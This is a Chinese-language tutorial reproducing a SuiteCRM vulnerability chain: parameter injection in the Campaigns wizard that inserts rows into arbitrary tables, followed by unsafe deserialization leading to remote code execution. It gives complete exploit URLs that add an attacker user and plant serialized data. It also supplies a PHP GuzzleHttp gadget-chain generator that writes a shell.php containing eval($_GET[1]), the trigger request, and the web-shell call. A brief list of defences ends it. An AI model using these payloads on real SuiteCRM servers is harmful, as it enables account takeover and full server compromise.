SuiteCRM CMS 漏洞复现
字数 1354 2025-08-27 12:33:48
SuiteCRM CMS 漏洞分析与利用教学文档
漏洞概述
SuiteCRM存在一个高危漏洞组合,允许攻击者通过以下两种方式利用:
- 任意数据表插入数据(SQL注入)
- 通过反序列化实现远程代码执行(RCE)
这两个漏洞可以组合使用,先通过SQL注入在数据库中插入恶意数据,再触发反序列化实现RCE。
漏洞1:任意数据表插入数据
漏洞原理
漏洞位于/modules/Campaigns/WizardNewsletterSave.php文件中,关键问题在于:
Campaign类的table_name属性是public可修改的populate_wizard_bean_from_request函数未对输入进行充分过滤- 通过参数注入可以控制数据库操作的表名和字段
漏洞利用步骤
-
构造基础请求:
/index.php?module=Campaigns&action=WizardNewsletterSave¤tstep=1 -
添加恶意参数:
&wiz_step1_table_name=users &wiz_step1_field_defs[user_name]=1 &wiz_step1_user_name=attacker &wiz_step1_field_defs[user_hash]=1 &wiz_step1_user_hash=e10adc3949ba59abbe56e057f20f883e -
完整Payload:
/index.php?module=Campaigns&action=WizardNewsletterSave¤tstep=1&wiz_step1_table_name=users&wiz_step1_field_defs[id]=1&wiz_step1_field_defs[user_name]=1&wiz_step1_user_name=attacker&wiz_step1_field_defs[user_hash]=1&wiz_step1_user_hash=e10adc3949ba59abbe56e057f20f883e
技术细节
-
参数处理流程:
populate_wizard_bean_from_request函数处理所有以wiz_step1_开头的参数- 去除前缀后,将剩余部分作为属性名直接赋值给对象
-
SQL生成过程:
save()方法调用insert()或update()insertSQL()生成SQL语句时使用可控的table_name和字段值- 最终生成类似
INSERT INTO users(user_name,user_hash) VALUES('attacker','e10adc3949ba59abbe56e057f20f883e')的语句
漏洞2:反序列化RCE
漏洞原理
漏洞位于getInboundMailerSettings函数中,当处理邮件发送请求时:
- 从
inbound_email表中查询stored_options字段 - 该字段经过base64解码后直接反序列化
- 通过第一个漏洞可以向该表插入可控的反序列化数据
漏洞利用步骤
-
生成恶意序列化数据:
<?php namespace GuzzleHttp\Cookie{ class FileCookieJar extends CookieJar { private $filename = "shell.php"; function __construct(){ $this->a(); } } class CookieJar{ private $cookies; function a(){ $this->cookies[]= new SetCookie(); } } class SetCookie{ private $data = [ 'Name' => 'a', 'Value' => '<?php eval($_GET[1]);?>', 'Expires'=>true, 'Discard'=>false, ]; } } namespace{ $s = array(new \GuzzleHttp\Cookie\FileCookieJar()); echo base64_encode(serialize($s)); } -
插入恶意数据到inbound_email表:
/index.php?module=Campaigns&action=WizardNewsletterSave¤tstep=1 &wiz_step1_table_name=inbound_email &wiz_step1_field_defs[stored_options]=1 &wiz_step1_stored_options=[生成的base64] &wiz_step1_new_with_id=1 &wiz_step1_field_defs[id]=1 &wiz_step1_id=2333 -
触发反序列化:
/index.php?module=Emails&action=EmailUIAjax&emailUIAction=sendEmail&fromAccount=2333 -
访问生成的shell:
/shell.php?1=phpinfo();
技术细节
-
反序列化触发点:
getInboundMailerSettings函数中的unserialize(base64_decode($a['stored_options']))$a['stored_options']来自数据库查询结果
-
利用链分析:
- 使用
GuzzleHttp\Cookie\FileCookieJar类 - 通过
__destruct或__wakeup触发文件写入 - 需要将对象放在数组中因为代码会取数组第一个元素
- 使用
防御措施
-
输入验证:
- 对
table_name等关键参数进行严格过滤 - 限制可操作的表范围
- 对
-
权限控制:
- 将敏感属性设置为private
- 实现更严格的访问控制
-
安全编码:
- 避免直接反序列化用户可控数据
- 使用白名单验证反序列化类
-
补丁升级:
- 及时更新到最新版本
- 应用官方安全补丁
总结
该漏洞组合展示了从SQL注入到RCE的完整攻击链,关键在于:
- 利用属性覆盖实现任意表数据插入
- 通过插入恶意序列化数据实现RCE
- 利用框架特性构造有效的利用链
这种漏洞需要开发者特别注意对象属性的可见性和反序列化操作的安全性。